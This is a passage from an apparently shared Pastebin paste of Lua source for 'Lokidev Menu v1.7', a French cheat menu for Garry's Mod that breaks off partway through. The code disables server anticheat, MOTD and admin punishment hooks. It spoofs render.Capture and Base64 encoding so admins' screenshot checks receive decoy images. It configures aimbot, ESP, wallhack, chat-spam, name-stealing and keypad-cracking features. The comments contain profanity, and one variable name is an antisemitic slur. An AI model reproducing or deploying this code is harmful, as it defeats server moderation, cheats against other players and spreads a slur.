xSakuraYT

feq

Jan 25th, 2019
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 307.98 KB | None | 0 0
  1. if ( SERVER ) then
  2. if ( SERVER ) then
  3. function file.Read(d)
  4. return "Bien essayer ma salope :)"
  5. end
  6. end
  7. MsgC (Color( 190, 190, 190 ), [[ =======================================================================================================================
  8. _ _ _______ ___ ___ __ ______
  9. | | | | (_) _ \ | \/ | / | |___ /
  10. | | ___ | | ___| | | |_____ _____ | . . | ___ _ __ _ _ __ __`| | / /
  11. | | / _ \| |/ / | | | / _ \ \ / / __| | |\/| |/ _ \ '_ \| | | | \ \ / / | | / /
  12. | |___| (_) | <| | |/ / __/\ V /\__ \ | | | | __/ | | | |_| | \ V / _| |__./ /
  13. \_____/\___/|_|\_\_|___/ \___| \_/ |___/ \_| |_/\___|_| |_|\__,_| \_/ \___(_)_/
  14.  
  15. `-.`'.-'
  16. `-. .-'.
  17. `-. -. ^.- .-'
  18. -. /_\ .-
  19. `-. ` /___\' .-'.
  20. `-. -. /.-""-\.- '
  21. `-. /< (()) \ .-'
  22. - .` /__`-..-'_\' .-
  23. ,...`-. /___|____|__\.-'.,.
  24. ,-' / ,` . . ', `\-,
  25. ,-' /______________ \`-,
  26. ,'/____|_____|_____ \
  27. / /__|_____|_____|___ \
  28. . /|_____|_____|_____|_ \
  29. ' /____|_____|_____|______\
  30. .' /__|_____|_____|_____|___ \
  31. ,' /|_____|_____|_____|_____|_ \
  32. ,,---''--...___...--'''--.. .. /____|_____|_____|_____|_____ \ ..--```--...___...--``---,,
  33. '. /__|_____|_____|_____|_____|___ \
  34. \ ) '. /|_____|_____|_____|_____|_____|_ \ ( /
  35. )\ / ) ,': /____|_____|_____|_____|_____|_____ \ ( \ /(
  36. / / ( ( :.. /__|_____|_____|_____|_____|_____|___ \ ) ) \ \
  37. | | \ \ ... /|_____|_____|_____|_____|_____|_____|_ \ / / | |
  38. .-.\ \ \ \ '.. /____|_____|_____|_____|_____|_____|_____ \ / / / /.-.
  39. (= )\ `._.' | :. / _ _ ___ ____ ____ _ _ _ _ _ _ _ ___ \ | `._.' /( =)
  40. \ (_) ) . / SAKURA LE MEILLEUR TROLLEUR DU MONDE \
  41. \ `----' """"""""""""""""""""""""""""""""""""""""""""""""
  42.  
  43.  
  44.  
  45. ( "Tu as l'air d'aller bien aujourd'hui, )
  46. ( C'est grace au nouveau menu ?." )
  47. \
  48. __________ \
  49. //////////\\ ______________________
  50. ////////// \\\ | | |
  51. /// __ __ \\\ | | |
  52. /|| | | ||\ | | |
  53. \_ (__) _/ | | |
  54. \ ///\\\ / | | |
  55. ____/\________/\____ | | |
  56. _____/` \ \ / /.'`\__________| | |__
  57. /`.`. `\ \_/ /` .`` \ |_ | _|
  58. /. ' / `\_/_\_/`.'`\.`' \ (__) | (__)
  59. /` . /' .` _| |_ `. '.\` .`\ (__) | (__)
  60. _/. ` /`` . /_____\.' . '\. `'\_____(__) | (__)__
  61. \` `.\. `.(__ \______/.'` > | | |
  62. __\` .`\' .(__ |.`' ' '` .`/______|__________|___________|__
  63. \`. `\'`(______|__________/ | @ |
  64. \____\`.|~~~~~|.' . .| \_________________/
  65. /_ _ _\_|_____|______| /______|__|_______\
  66. ____\ \ \ \\__[__]_______|____________/ |__
  67. /\_\_\_\ \ / / /
  68. ___/ / |_________/ / /___
  69. / ___ / ___ / NTF | | |
  70.  
  71. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  72.  
  73. Made By Sakura <3
  74. ]])
  75. if !( CLIENT ) then return end
  76. if hook.GetTable().zac_110011010110110101101010101 then
  77. hook.Remove( "zac_110011010110110101101010101", "", zac_knwowledge100110110101011 );
  78. end
  79. if hook.GetTable().zac_meme then
  80. hook.Remove( "zac_meme", "", zac_00100101010110110011101 );
  81. end
  82. local RatesScaleLevel = LocalPlayer():SteamID()
  83. if ulx then ulx.showMotdMenu = function() end end
  84. if( ulx ) then
  85. function ulx.showMotdMenu() return end
  86. function ulx.gagUser() return end
  87. if hook.GetTable().HUDPaint then hook.Remove("HUDPaint","drawHudVital") end
  88. if hook.GetTable().CalcView then hook.Remove("CalcView", "CalcView") end
  89. hook.Add( "Think", "naughtyblindxx", function() hook.Remove( "HUDPaint", "ulx_blind" ) end )
  90. end
  91. if( FancyMOTD ) then
  92. function FancyMOTD.Show() return end
  93. end
  94. if( MODERN != nil ) then
  95. function MODERN.OpenMOTD() return end
  96. end
  97. if( FIGD ) then
  98. function FIGD.OpenMenu() return end
  99. end
  100. if( silkymotd ) then
  101. function silkymotd.Open() return end
  102. end
  103. net.Receive( "open_menu", function() end )
  104. net.Receive( "closebutton_repeat", function() end )
  105. net.Receive("sMsgStandard", function() end)
  106. net.Receive("sNotifyHit", function() end)
  107. net.Receive("sMsgAdmins", function() end)
  108. net.Receive("sAlertNotice", function() end)
  109. _G.RunCheck = function() end -- RIP hellzone anticheat
  110. timer.Simple(1, function()
  111. if AccountCreationScreen then
  112. AccountCreationScreen:Remove(); -- go fuck yourself
  113. end
  114. hook.Remove("PlayerBindPress", "BlockPhysgunWheelSpeedGlitch") -- no seriously go fuck yourself
  115. end)
  116. if SERVER then return end
  117. concommand.Remove( "DrawDeathMsg" )
  118. concommand.Remove( "EasyMOTD_Open" )
  119. concommand.Remove( "OpenMotd" )
  120. concommand.Remove( "nlr_box" )
  121. concommand.Remove( "NLRDeathMessage" )
  122. concommand.Remove( "wesnlr" )
  123. concommand.Remove( "lunera_motd" )
  124. concommand.Remove( "MOTD" )
  125. concommand.Remove( "MOTDS" )
  126. concommand.Remove( "Suss_MOTD" )
  127. -- Fuck Escape Menu
  128. hook.Remove("ShouldDrawLocalPlayer", "ESC.DrawPlayer")
  129. hook.Remove("HUDShouldDraw", "ESC.HideHUD")
  130. hook.Remove("RenderScreenspaceEffects", "ESC.ScreenspaceEffects")
  131. hook.Remove("PreRender", "ESC.OpenMenu")
  132. hook.Remove("CalcView", "ESC.CalcView")
  133. hook.Remove("HUDShouldDraw", "IceEscape_HudShouldDraw")
  134. hook.Remove("Render", "IceEscape_CheckKeyWasIn")
  135. hook.Remove("PreRender", "IceEscape_PreRenderHookEscKey")
  136. hook.Remove("PreRender", "esc.PreRender")
  137. hook.Remove("Think", "JarvinOpenKey")
  138. hook.Remove("PreRender", "Jarvin:PreRender")
  139. hook.Remove("PreRender", "Liko:PreRender")
  140. hook.Remove("PreRender", "cleanEscape")
  141. hook.Remove("RenderScreenspaceEffects", "ceScreenEffects")
  142. if file.Exists( "autorun/client/cl_3dmenu.lua", "LUA" ) == true then
  143. hook.Remove( "PostDrawTranslucentRenderables", MENU )
  144. hook.Remove( "RenderScene", MENU )
  145. hook.Remove( "Think", MENU )
  146. hook.Remove( "GUIMousePressed", MENU )
  147. hook.Remove( "PreventScreenClicks", MENU )
  148. hook.Remove( "ShouldDrawLocalPlayer", MENU )
  149. hook.Remove( "CalcView", MENU )
  150. hook.Remove( "PreRender", MENU )
  151. hook.Remove( "HUDShouldDraw", MENU )
  152. MENU = nil
  153. end
  154. -- Photon de merde buger
  155. hook.Remove( "PreDrawEffects", "Photon.RenderQueue")
  156. -- J'ai galerer pour cette merde mes enfin sa dégage mdr
  157. hook.Remove("HUDPaint", "carBomb_ScannerHUD")
  158. -- Escape Menu Fucked x)
  159. -- Fuck Weather
  160. --atmos :
  161. hook.Remove( "Think", "atmosStormThink" )
  162. hook.Remove( "HUDPaint", "atmosHUDPaint" )
  163. --simpleweather
  164. hook.Remove( "Initialize", "SW.Initialize" )
  165. hook.Remove( "Think", "SW.Think" )
  166. hook.Remove( "HUDPaint", "SW.HUDPaint" )
  167. hook.Remove( "RenderScreenspaceEffects", "SW.RenderScreenspaceEffects" )
  168. hook.Remove( "SetupWorldFog", "SW.SetupWorldFog" )
  169. hook.Remove( "SetupSkyboxFog", "SW.SetupSkyboxFog" )
  170. hook.Remove( "HUDPaint", "SW.DrawClock" )
  171. --stormfox
  172. hook.Remove("Think","StormFox - Outdoor Env" )
  173. hook.Remove("Think","StormFox - light_env support" )
  174. hook.Remove("HUDPaint","RainDebug2" )
  175. hook.Remove("HUDPaint","StormFox - HUDTips" )
  176. hook.Remove("RenderScreenspaceEffects","StormFox - Toxxeffect" )
  177. hook.Remove("PostDraw2DSkyBox", "StormFox - SkyBoxRender" )
  178. hook.Remove( "StormFox - TopSkyRender", "StormFox - MoonRender" )
  179. hook.Remove( "RenderScreenspaceEffects", "StormFox - Sunbeams" )
  180. hook.Remove("StormFox - EnvUpdate","StormFox - RainSounds" )
  181. hook.Remove("StormFox - EnvUpdate","StormFox - WindSounds" )
  182. hook.Remove("Think","StormFox - SkyPaintFix" )
  183. hook.Remove("Think","StormFox - SkyThink" )
  184. hook.Remove( "PostDraw2DSkyBox", "StormFox - ShootingStars" )
  185. hook.Remove("Think","StormFox - ShadowUpdate" )
  186. hook.Remove( "RenderScreenspaceEffects", "stormFox - screenmodifier" )
  187. hook.Remove("Think","StormFox - DownfallUpdater" )
  188. hook.Remove("Think","StormFox - RenderFalldownThink" )
  189. hook.Remove("Think","StormFox - RenderFalldownScreenThink" )
  190. hook.Remove("HUDPaint","StormFox - RenderRainScreen" )
  191. hook.Remove("HUDPaint","StormFox - RainScreenEffect" )
  192. hook.Remove("Think","StormFox - RenderFalldownHanlde" )
  193. hook.Remove("PostDrawTranslucentRenderables", "StormFox - RenderFalldown" )
  194. hook.Remove("PostPlayerDraw","StormFox - Breath" )
  195. hook.Remove("Think","StormFox - CBreath" )
  196. hook.Remove("SetupSkyboxFog","StormFox - skyfog" )
  197. hook.Remove("SetupWorldFog","StormFox - skyworldfog" )
  198. hook.Remove("RenderScene","StormFox - Suntest" )
  199. hook.Remove("PostDrawOpaqueRenderables","StormFox - SkyBox Debug" )
  200. hook.Remove("Think","StormFox - CloudUpdate" )
  201. hook.Remove("PostDrawOpaqueRenderables","StormFox - CloudRender" )
  202. -- Weather Fucked
  203. if ConVarExists( "utime_enable") then
  204. RunConsoleCommand("utime_enable",0)
  205. end
  206. RunConsoleCommand("-voicerecord")
  207. hook.Remove("HUDPaint", "PPT_HUD")
  208. hook.Remove("InitPostEntity", "spawnIconRefresh")
  209. hook.Remove("HUDPaint", "DoHud")
  210. hook.Remove("Think", "PlayerInfoThing")
  211. timer.Destroy("AntiCheatTimer")
  212. timer.Destroy("testing123")
  213. hook.Remove("Think", "sh_menu")
  214. timer.Destroy( "STC" )
  215. hook.Remove("PlayerInitialSpawn", "AddPlayer")
  216. hook.Remove("OnGamemodeLoaded", "___scan_g_init")
  217. hook.Remove("PlayerSay", "screengrab_playersay")
  218. hook.Remove( "PlayerInitialSpawn", "showMotd")
  219. hook.Remove( "CalcView", "rp_deathPOV" )
  220. hook.Remove( "PlayerBindPress", "BlockPhysgunWheelSpeedGlitch" )
  221. hook.Remove( "Think", "FancyMOTD.OpenOnKeypress" )
  222. hook.Remove( "RenderScreenspaceEffects", "WeatherOverlay" )
  223. hook.Remove( "PlayerInitialSpawn", "OpenMotdOnJoin" )
  224. hook.Remove( "PlayerSay", "OpenMotdOnCommand" )
  225. hook.Remove( "Initialize","silkymotd" )
  226. hook.Remove( "PlayerAuthed", "wat" )
  227. hook.Remove( "HUDPaint", "newhud" )
  228. hook.Remove( "HUDShouldDraw", "newhud" )
  229. hook.Remove( "Think", "wat" )
  230. hook.Remove( "RenderScreenspaceEffects", "wat" )
  231. hook.Remove( "HUDPaint", "dance" )
  232. hook.Remove( "GetMotionBlurValues", "wat" )
  233. hook.Remove( "RenderScreenspaceEffects", "ohgod" )
  234. hook.Remove( "PostDrawTranslucentRenderables", "ohgod" )
  235. timer.Destroy( "thedrop" )
  236. net.Receive( "open_menu", function() end )
  237. net.Receive( "LuneraInitMenu", function() end )
  238. net.Receive( "closebutton_repeat", function() end )
  239. net.Receive( "sBlockGMSpawn", function() hook.Remove( "PlayerBindPress", "_sBlockGMSpawn" ) end )
  240. net.Receive( "NDS_death", function() return end )
  241. net.Receive( "silkymotd", function() return end )
  242. net.Receive( "slua", function() return end )
  243. local missingjpg = file.Read("materials/ironman.jpg", "GAME")
  244. local missingpng = file.Read("materials/ironman.png", "GAME")
  245. local noided_dummy = "iVBORw0KGgoAAAANSUhEUgAAAAcAAAAECAIAAADNpLIqAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYSURBVBhXY2BgYmBmYGFgZEAFlIkyMAAACDAAKdIBq3cAAAAASUVORK5CYII="
  246. local actualRenderCapture = _G.render.Capture
  247. local encodeData = util.Base64Encode;
  248. _G.render.Capture = function(data)
  249. chat.AddText( Color(255, 0, 0), "[Lokidev Menu v1.7]: Tentative de Screenshot Bloquer" )
  250. if data.format == "jpeg" then
  251. return missingjpg
  252. elseif data.format == "png" then
  253. return missingpng
  254. end
  255. end
  256. util.Base64Encode = function( str )
  257. local encoding = encodeData( missingpng );
  258. return( noided_dummy );
  259. end
  260. local RunCmdAlt = http.Fetch
  261. timer.Destroy("animating")
  262. animating = false
  263. local ZNX = ZNX or {}
  264. ZNX.Vars = ZNX.Vars or {}
  265. ZNX.NumberVars = ZNX.NumberVars or {} -- need a seperate table here coz im a lazy cunt
  266. ZNX.Buddies = ZNX.Buddies or {}
  267. ZNX.Targets = ZNX.Targets or {}
  268. ZNX.TheyHaveEyesEverywhere = ZNX.TheyHaveEyesEverywhere or {}
  269. ZNX.Witnesses = ZNX.Witnesses or {}
  270. ZNX.Debug = ZNX.Debug or {}
  271. ZNX.MarkedEnts = ZNX.MarkedEnts or {}
  272. ZNX.RenderPanic = false
  273. ZNX.NameStealName = "Changer de Nom"
  274. ZNX.NameStealPlayer = LocalPlayer()
  275. ZNX.CrossHairAlpha = 0
  276. ZNX.ScrollDelta = 0 -- lets you set mouse wheel scroll from outside of createmove
  277. ZNX.AimbotBone = "ValveBiped.Bip01_Head1"
  278. ZNX.ViewAngle = Angle(0,0,0)
  279. ZNX.AimbotTarget = game.GetWorld()
  280. ZNX.AimbotPreviewTarget = -1
  281. ZNX.HoldingProp = game.GetWorld()
  282. ZNX.ChatSpamText = "@PrenezLokidevMenu"
  283. ZNX.OPhysColor = Vector( GetConVarString( "cl_weaponcolor" ) ) or Vector( 1,1,1 )
  284. ZNX.CurrentBase = 0
  285. ZNX.BaseAreaSize = 10
  286. ZNX.InternalFakeAngles = 0
  287. ZNX.MemoryDebug = {
  288. ["hud"] = 0,
  289. ["logic"] = 0,
  290. ["aimbot"] = 0,
  291. }
  292. ZNX.Freecam = false
  293. ZNX.FreecamCoordinates = { pos = Vector( 0, 0, 0 ), ang = Angle( 0, 0, 0 ) }
  294. -- general settings
  295. ZNX.Vars.Notifications = ZNX.Vars.Notifications or true
  296. -- vision
  297. ZNX.Vars.Vision = ZNX.Vars.Vision or true
  298. ZNX.Vars.ShowESP = ZNX.Vars.ShowESP or true
  299. ZNX.Vars.ShowDead = ZNX.Vars.ShowDead or false
  300. ZNX.Vars.ShowHP = ZNX.Vars.ShowHP or false
  301. ZNX.Vars.ShowFriends = ZNX.Vars.ShowFriends or true
  302. ZNX.Vars.ShowTargets = ZNX.Vars.ShowTargets or true
  303. ZNX.Vars.TeamColors = ZNX.Vars.TeamColors or false
  304. ZNX.Vars.ShowRanks = ZNX.Vars.ShowRanks or true
  305. ZNX.Vars.ShowDistance = ZNX.Vars.ShowDistance or false
  306. ZNX.Vars.ESPProps = ZNX.Vars.ESPProps or false
  307. ZNX.Vars.Entfinder = ZNX.Vars.Entfinder or false
  308. ZNX.Vars.Vizlines = ZNX.Vars.Vizlines or false
  309. ZNX.Vars.BoundingBox = ZNX.Vars.BoundingBox or false
  310. ZNX.Vars.BoundingBox3d = ZNX.Vars.BoundingBox3d or false
  311. ZNX.Vars.VSquares = ZNX.Vars.VSquares or true
  312. ZNX.Vars.VNames = ZNX.Vars.VNames or true
  313. ZNX.Vars.PKVelocity = ZNX.Vars.PKVelocity or false
  314. ZNX.Vars.PKChams = ZNX.Vars.PKChams or false
  315. ZNX.Vars.PKPropCam = ZNX.Vars.PKPropCam or false
  316. ZNX.Vars.PKPropBeams = ZNX.Vars.PKPropBeams or false
  317. ZNX.Vars.PKPlayerBeams = ZNX.Vars.PKPlayerBeams or false
  318. ZNX.Vars.PKVerticalBeams = ZNX.Vars.PKVerticalBeams or false
  319. ZNX.Vars.CSFlashlight = ZNX.Vars.CSFlashlight or false
  320. ZNX.Vars.ArmeESP = ZNX.Vars.ArmeESP or false
  321. ZNX.Vars.ArgentESP = ZNX.Vars.ArgentESP or false
  322. ZNX.Vars.ShowFPS = ZNX.Vars.ShowFPS or false
  323. ZNX.NumberVars.VisionDist = ZNX.NumberVars.VisionDist or 2000
  324. -- utility
  325. ZNX.Vars.CameraSpam = ZNX.Vars.CameraSpam or true
  326. ZNX.Vars.FlashlightSpam = ZNX.Vars.FlashlightSpam or false
  327. ZNX.Vars.NoRecoil = ZNX.Vars.NoRecoil or true
  328. ZNX.Vars.WitnessDetector = ZNX.Vars.WitnessDetector or false
  329. ZNX.Vars.Mirror = ZNX.Vars.Mirror or false
  330. ZNX.Vars.Radar = ZNX.Vars.Radar or false
  331. --ZNX.Vars.RadarColors = ZNX.Vars.RadarColors or false
  332. ZNX.Vars.Xray = ZNX.Vars.Xray or false
  333. ZNX.Vars.Crosshair = ZNX.Vars.Crosshair or false
  334. ZNX.Vars.NameStealer = false
  335. ZNX.Vars.NotifyKills = ZNX.Vars.NotifyKills or false
  336. ZNX.Vars.XrayPlayers = ZNX.Vars.XrayPlayers or true
  337. ZNX.Vars.XrayProps = ZNX.Vars.XrayProps or true
  338. ZNX.Vars.XrayEntfinder = ZNX.Vars.XrayEntfinder or false
  339. ZNX.Vars.NoChamColours = ZNX.Vars.NoChamColours or true
  340. ZNX.Vars.XraySolid = ZNX.Vars.XraySolid or false
  341. ZNX.Vars.AutoAddSteamFriends = ZNX.Vars.AutoAddSteamFriends or true
  342. ZNX.Vars.ChatSpam = false
  343. ZNX.Vars.ChatSpamOOC = ZNX.Vars.ChatSpamOOC or false
  344. ZNX.Vars.ChatSpamBind = ZNX.Vars.ChatSpamBind or false
  345. ZNX.Vars.ChatSpamInsult = ZNX.Vars.ChatSpamInsult or false
  346. ZNX.Vars.ChatSpamPM = ZNX.Vars.ChatSpamPM or false
  347. ZNX.Vars.ChatSpamPMAdmins = ZNX.Vars.ChatSpamPMAdmins or false
  348. ZNX.EntScanner = false
  349. ZNX.EntScannerTab = {}
  350. ZNX.EntScannerEnt = game.GetWorld()
  351. ZNX.Vars.DemoteSpam = false
  352. ZNX.Vars.WantedSpam = false
  353. ZNX.Vars.ULXVotekickSpam = false
  354. ZNX.Vars.ULXVotebanSpam = false
  355. ZNX.Vars.KillTaunts = false
  356. ZNX.Vars.DeathTaunts = false
  357. ZNX.Vars.DodgeArrest = false
  358. ZNX.Vars.NewLifeRule = false
  359. ZNX.Vars.DontTouchMeThere = false
  360. ZNX.Vars.KeypadJew = false
  361. ZNX.Vars.FreecamControls = false
  362. -- aimbot
  363. ZNX.Vars.Aimbot = ZNX.Vars.Aimbot or false
  364. ZNX.Vars.AimbotTargetMode = ZNX.Vars.AimbotTargetMode or true
  365. ZNX.Vars.AutoShoot = ZNX.Vars.AutoShoot or false
  366. ZNX.Vars.AimbotShootThroughWalls = ZNX.Vars.AimbotShootThroughWalls or false
  367. ZNX.Vars.SnapOnFire = ZNX.Vars.SnapOnFire or false
  368. ZNX.Vars.TargetFriends = ZNX.Vars.TargetFriends or true
  369. ZNX.Vars.TargetHighlighted = ZNX.Vars.TargetHighlighted or true
  370. ZNX.Vars.TargetNormies = ZNX.Vars.TargetNormies or true
  371. ZNX.Vars.TargetAdmins = ZNX.Vars.TargetAdmins or true
  372. ZNX.Vars.TargetSameTeam = ZNX.Vars.TargetSameTeam or true
  373. ZNX.Vars.TargetNoclippers = ZNX.Vars.TargetNoclippers or true
  374. ZNX.Vars.PreviewTarget = ZNX.Vars.PreviewTarget or true
  375. ZNX.Vars.CompSpread = ZNX.Vars.CompSpread or false
  376. ZNX.Vars.SilentAim = ZNX.Vars.SilentAim or false
  377. ZNX.Vars.AimbotBindMode = ZNX.Vars.AimbotBindMode or false
  378. ZNX.Vars.SafeJump = ZNX.Vars.SafeJump or false
  379. ZNX.Vars.AimbotWallbanger = ZNX.Vars.AimbotWallbanger or false
  380. ZNX.Vars.AimbotAdaptiveTarget = ZNX.Vars.AimbotAdaptiveTarget or false
  381. ZNX.Vars.AimbotStickyLock = ZNX.Vars.AimbotStickyLock or true
  382. ZNX.Vars.TargetMurder = ZNX.Vars.TargetMurder or false
  383. ZNX.Vars.AutoReload = ZNX.Vars.AutoReload or false
  384. ZNX.NumberVars.AimbotMaxFOV = ZNX.NumberVars.AimbotMaxFOV or 20
  385. ZNX.NumberVars.AimbotDist = ZNX.NumberVars.AimbotDist or 200
  386. ZNX.NumberVars.AimbotSmooth = ZNX.NumberVars.AimbotSmooth or 0
  387. ZNX.NumberVars.PKRotateAngle = ZNX.NumberVars.PKRotateAngle or 30
  388. ZNX.NumberVars.AimbotBindKey = ZNX.NumberVars.AimbotBindKey or 107
  389. ZNX.NumberVars.SafeJumpBindKey = ZNX.NumberVars.SafeJumpBindKey or 24
  390. ZNX.NumberVars.FreecamForward = ZNX.NumberVars.FreecamForward or 50
  391. ZNX.NumberVars.FreecamBack = ZNX.NumberVars.FreecamBack or 49
  392. ZNX.NumberVars.FreecamLeft = ZNX.NumberVars.FreecamLeft or 41
  393. ZNX.NumberVars.FreecamRight = ZNX.NumberVars.FreecamRight or 43
  394. ZNX.NumberVars.FreecamUp = ZNX.NumberVars.FreecamUp or 45
  395. ZNX.NumberVars.FreecamDown = ZNX.NumberVars.FreecamDown or 42
  396. -- default menu and esp colours
  397. ZNX.DefaultSchemes = {
  398. [1] = {"Anus Brown", Color(125,0,0), Color(50,0,0)},
  399. [2] = {"Ocean Blue", Color(100,100,255,255), Color(50,50,155,255)},
  400. [3] = {"Sage Green", Color(100,250,100,255), Color(0,200,0,255)},
  401. [4] = {"Javelin Orange", Color(250,250,0,255), Color(250,150,0,255)},
  402. [5] = {"Predator Red", Color(255,0,0,255), Color(200,0,0,255)},
  403. [6] = {"Miami Pink", Color(255,0,255,255), Color(150,0,150,255)},
  404. [7] = {"Spectral Blue", Color(205,205,255,255), Color(105,105,255,255)},
  405. [8] = {"Jungle Green", Color(50,150,50,255), Color(0,50,0,255)},
  406. [9] = {"Noir Grey", Color(150,150,150,255), Color(50,50,50,255)},
  407. }
  408. ZNX.DefaultScheme = Color(125,0,0)
  409. ZNX.DefaultScheme2 = Color(255,80,80)
  410. ZNX.Matinfo = {
  411. ["$basetexture"] = "models/debug/debugwhite",
  412. ["$model"] = 1,
  413. ["$nocull"] = 1,
  414. ["$ignorez"] = 1,
  415. }
  416. ZNX.Mat1 = (CreateMaterial( "abchams2", "VertexLitGeneric", ZNX.Matinfo ))
  417. ZNX.ColScheme = Vector(ZNX.DefaultScheme.r / 255, ZNX.DefaultScheme.g / 255, ZNX.DefaultScheme.b / 255)
  418. ZNX.ColScheme2 = Vector(ZNX.DefaultScheme2.r / 255, ZNX.DefaultScheme2.g / 255, ZNX.DefaultScheme2.b / 255)
  419. ZNX.NumberVars.ColorScheme = ZNX.NumberVars.ColorScheme or 1
  420. -- herkz
  421. ZNX.Vars.Aimbot = ZNX.Vars.Aimbot or false
  422. ZNX.Vars.Autoclick = ZNX.Vars.Autoclick or false
  423. ZNX.Vars.Bhop = ZNX.Vars.Bhop or false
  424. ZNX.Vars.NPC_ESP = ZNX.Vars.NPC_ESP or false
  425. ZNX.Vars.BhopAutostrafe = ZNX.Vars.BhopAutostrafe or false
  426. ZNX.Vars.RopeStorm = ZNX.Vars.RopeStorm or false
  427. ZNX.Vars.Triggerbot = ZNX.Vars.Triggerbot or false
  428. ZNX.Vars.Thirdperson = ZNX.Vars.Thirdperson or false
  429. ZNX.NumberVars.MirrorX = ZNX.NumberVars.MirrorX or 0
  430. ZNX.NumberVars.MirrorY = ZNX.NumberVars.MirrorY or 0
  431. ZNX.NumberVars.MirrorSize = ZNX.NumberVars.MirrorSize or 30
  432. ZNX.NumberVars.MirrorAxis = ZNX.NumberVars.MirrorAxis or 0
  433. ZNX.NumberVars.XrayDistance = ZNX.NumberVars.XrayDistance or 200
  434. ZNX.NumberVars.TPSDistance = ZNX.NumberVars.TPSDistance or 100
  435. ZNX.NumberVars.AreaScrollerSize = ZNX.NumberVars.AreaScrollerSize or 10
  436. ZNX.NumberVars.TPSOffset = ZNX.NumberVars.TPSOffset or 0
  437. ZNX.NumberVars.RadarX = ZNX.NumberVars.RadarX or ScrW() - 1170
  438. ZNX.NumberVars.RadarY = ZNX.NumberVars.RadarY or 55
  439. ZNX.NumberVars.RadarAlpha = ZNX.NumberVars.RadarAlpha or 255
  440. ZNX.NumberVars.RadarSize = ZNX.NumberVars.RadarSize or 183
  441. ZNX.NumberVars.RadarZoom = ZNX.NumberVars.RadarZoom or 30
  442. statutautoexploit = "Désactiver"
  443. animatinginfo = "Désactiver"
  444. info_ulx_spam = "Désactiver"
  445. spam_props_text = "Désactiver"
  446. billet_spam = "Désactiver"
  447. local black = ( Color(0,0,0,255) )
  448. local white = ( Color(255,255,255,255) )
  449. local red = ( Color(255,0,0,255) )
  450. local AA = {}
  451. local ValidEntity = IsValid
  452. --[[
  453. local plymeta = FindMetaTable( "Player" )
  454. plymeta.ConCommand2 = plymeta.ConCommand2 or plymeta.ConCommand
  455. function plymeta:ConCommand( command )
  456. if command == "jpeg" and ZNX.Vars.CameraSpam then return else
  457. return self:ConCommand2( command )
  458. end
  459. end
  460. --]]
  461. local ncomponent = { color = Color( 205, 205, 255 ), name = "Lokidev" }
  462. function ZNX.ChatText( message, col )
  463. chat.AddText( Color(190, 190, 190), [[[Lokidev Menu v1.7]: ]], col, message )
  464. end
  465. function ChatPrint ( msg, color )
  466. chat.AddText ( Color( 190, 190, 190 ), "[Lokidev Menu v1.7] "..msg )
  467. end
  468. function DrawOutlinedText ( title, font, x, y, color, OUTsize, OUTcolor )
  469. draw.SimpleTextOutlined ( title, font, x, y, color, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, OUTsize, OUTcolor )
  470. end
  471. function DrawOutlinedText2 ( title, font, x, y, color, OUTsize, OUTcolor )
  472. draw.SimpleTextOutlined ( title, font, x, y, color, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER, OUTsize, OUTcolor )
  473. end
  474. function DrawRoundedBox ( bordersize, x, y, sX, sY, color )
  475. draw.RoundedBox ( bordersize, x, y, sX, sY, color )
  476. end
  477. function DrawRoundedBoxEx ( bordersize, x, y, sX, sY, color, Topl, Topr, Botl, Botr )
  478. draw.RoundedBoxEx ( bordersize, x, y, sX, sY, color, Topl, Topr, Botl, Botr )
  479. end
  480. function DrawLine ( bX, bY, eX, eY )
  481. surface.DrawLine ( bX, bY, eX, eY )
  482. end
  483. function DrawOutlinedRect (color, bx, by, ex, ey )
  484. surface.SetDrawColor (color)
  485. surface.DrawOutlinedRect ( bx, by, ex, ey )
  486. end
  487. function CreateButton ( title, Parent, tcolor, bcolor, visible, x, y, sX, sY, tip, doclick )
  488. local button = vgui.Create( "DButton" )
  489. button:SetParent( Parent )
  490. button:SetText( " " )
  491. button:SetPos( x, y )
  492. button:SetSize( sX, sY )
  493. button:SetVisible( visible )
  494. button:SetColor( tcolor )
  495. button:SetTooltip( tip or " " )
  496. button.Paint = function ()
  497. DrawRoundedBoxEx ( 10, 0, 0, button:GetWide(), button:GetTall(), bcolor, false, false, false, false )
  498. DrawOutlinedText ( title, "Menu", button:GetWide()/2, button:GetTall()-10, white, 1, black )
  499. DrawOutlinedRect (red, 0, 0, button:GetWide(), button:GetTall() )
  500. end
  501. button.DoClick = doclick
  502. end
  503. ------------------------------------------------------------------------Lokidev UTILITIES--------------------------------------------------------------------------------------
  504. surface.CreateFont("Menu",{font = "Arial", size = 17, weight = 200, antialias = 0})
  505. surface.CreateFont("Get",{font = "Fixedsys", size = 17, weight = 200, antialias = 0})
  506. surface.CreateFont("Small",{font = "Arial", size = 12, weight = 200, antialias = 0})
  507. surface.CreateFont("ESP",{font = "Fixedsys", size = 12, weight = 200, antialias = 0})
  508. surface.CreateFont("Logo",{font = "Tahoma", size = 20, weight = 100000, antialias = 0})
  509. surface.CreateFont("Playlist",{font = "Tahoma", size = 15, weight = 100000, antialias = 0})
  510. surface.CreateFont("HUDLogo",{font = "Ravie", size = 40, weight = 100000, antialias = 0})
  511. surface.CreateFont("Infotab",{font = "Ravie", size = 75, weight = 100000, antialias = 0})
  512. surface.CreateFont( "Fontnpcesp", {font = "Fixedsys", size = 13, weight = 500, antialias = true, outline = true})
  513. function ZNX.SaveSettings()
  514. local StringToWrite = ""
  515. for k, v in pairs(ZNX.Vars) do
  516. if( StringToWrite == "" ) then
  517. StringToWrite = k .. ";" .. tostring(v)
  518. else
  519. StringToWrite = StringToWrite .. "\n" .. k .. ";" .. tostring(v)
  520. end
  521. end
  522. StringToWrite = StringToWrite.."--NUMBERVARS--\n"
  523. for k, v in pairs(ZNX.NumberVars) do
  524. if( StringToWrite == "" ) then
  525. StringToWrite = k .. ";" .. tostring(v)
  526. else
  527. StringToWrite = StringToWrite .. "\n" .. k .. ";" .. tostring(v)
  528. end
  529. end
  530. --[[
  531. if not file.IsDir("Lokidev", "DATA") then
  532. file.CreateDir("Lokidev")
  533. end
  534. --]]
  535. file.Write( "Lokidev_settings.dat", StringToWrite )
  536. end
  537. concommand.Add("LokiDev_save_settings", ZNX.SaveSettings)
  538. function ZNX.LoadSettings()
  539. --[[
